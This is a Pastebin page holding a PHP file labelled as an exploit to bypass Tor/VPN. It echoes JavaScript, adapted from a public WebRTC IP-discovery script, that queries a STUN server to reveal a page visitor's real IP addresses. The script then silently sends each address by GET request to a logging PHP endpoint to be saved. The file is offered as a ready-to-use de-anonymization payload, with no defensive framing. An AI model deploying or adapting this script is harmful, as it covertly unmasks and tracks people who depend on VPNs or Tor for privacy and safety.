API tools faq
paste
Advertisement
Googleinurl

[EXPLOIT]1=> SCRIPT EXPLOIT BYPASS TOR/VPN WINDOWS - FILE01

Googleinurl
Feb 1st, 2015
2,973
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.29 KB | None | 0 0
raw download clone embed print report
  1. <!DOCTYPE html>
  2. <html>
  3.     <head>
  4.         <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  5.     </head>
  6.     <body>
  7.  
  8.         <?php
  9.         error_reporting(0);
  10.         set_time_limit(0);
  11.         ini_set('display_errors', 0);
  12.         ini_set('max_execution_time', 0);
  13.  
  14.         /*
  15.          
  16.           SALVAR IP CAPTURADOS COM JAVASCRIPT
  17.           FILE01 = http://pastebin.com/2u55h7Dj
  18.           ----------------------------------------------------------
  19.          * AUTOR-edition*: Cleiton Pinheiro / NICK: GoogleINURL
  20.          * EMAIL*: inurllbr@gmail.com
  21.          * Blog*:http://blog.inurl.com.br
  22.          * Twitter*: https://twitter.com/googleinurl
  23.          * Fanpage*: https://fb.com/InurlBrasil
  24.          * GIT: *https://github.com/googleinurl
  25.          * PASTEBIN: *http://pastebin.com/u/Googleinurl
  26.          * YOUTUBE: *https://www.youtube.com/channel/UCFP-WEzs5Ikdqw0HBLImGGA
  27.          * PACKETSTORMSECURITY:* http://packetstormsecurity.com/user/googleinurl/
  28.          * ----------------------------------------------------------
  29.          * ORGINAL SCRIPT-AUTOR / Daniel Roesler:https://github.com/diafygi/webrtc-ips
  30.          */
  31.         $exploit = "
  32.        <script type='text/javascript'>
  33.            httpGet('http://localhost/inurlbrasil.php?IP=[ IP START ]') // indicando que começou processo dentro do arquivo
  34.            //get the IP addresses associated with an account
  35.  
  36.            var ip2 = '';
  37.            function getIPs(callback) {
  38.                var ip_dups = {};
  39.  
  40.                //compatibility for firefox and chrome
  41.                var RTCPeerConnection = window.RTCPeerConnection
  42.                        || window.mozRTCPeerConnection
  43.                        || window.webkitRTCPeerConnection;
  44.                var mediaConstraints = {
  45.                    optional: [{RtpDataChannels: true}]
  46.                };
  47.  
  48.                //firefox already has a default stun server in about:config
  49.                //    media.peerconnection.default_iceservers =
  50.                //    [{'url': 'stun:stun.services.mozilla.com'}]
  51.                var servers = undefined;
  52.  
  53.                //add same stun server for chrome
  54.                if (window.webkitRTCPeerConnection)
  55.                    servers = {iceServers: [{urls: 'stun:stun.services.mozilla.com'}]};
  56.  
  57.                //construct a new RTCPeerConnection
  58.                var pc = new RTCPeerConnection(servers, mediaConstraints);
  59.  
  60.                //listen for candidate events
  61.                pc.onicecandidate = function(ice) {
  62.  
  63.                    //skip non-candidate events
  64.                    if (ice.candidate) {
  65.  
  66.                        //match just the IP address
  67.                        var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/;
  68.                        var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];
  69.  
  70.                        //remove duplicates
  71.                        if (ip_dups[ip_addr] === undefined)
  72.                            callback(ip_addr);
  73.  
  74.                        ip_dups[ip_addr] = true;
  75.                    }
  76.                };
  77.  
  78.                //create a bogus data channel
  79.                pc.createDataChannel('');
  80.  
  81.                //create an offer sdp
  82.                pc.createOffer(function(result) {
  83.  
  84.                    //trigger the stun server request
  85.                    pc.setLocalDescription(result, function() {
  86.                    }, function() {
  87.                    });
  88.  
  89.                }, function() {
  90.                });
  91.            }
  92.  
  93.            //insert IP addresses into the page
  94.            getIPs(function(ip) {
  95.                envior(ip); //SUB PROCESSO
  96.            }
  97.            );
  98.            
  99.            //ENVIO GET
  100.            function httpGet(url)
  101.            {
  102.                var xmlHttp = null;
  103.  
  104.                xmlHttp = new XMLHttpRequest();
  105.                xmlHttp.open('GET', url, false);
  106.                xmlHttp.send(null);
  107.                return xmlHttp.responseText;
  108.            }
  109.            
  110.            function envior(valor) {
  111.                ip2 = ' - ' + valor.toString();
  112.                document.write(httpGet('http://localhost/inurlbrasil.php?IP=' + ip2)); //ENVIANDO IP PARA SER GRAVADO
  113.         //FILE inurlbrasil: http://pastebin.com/Wbw9GhPc
  114.            }
  115.            </script>";
  116.  
  117.         echo $exploit;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!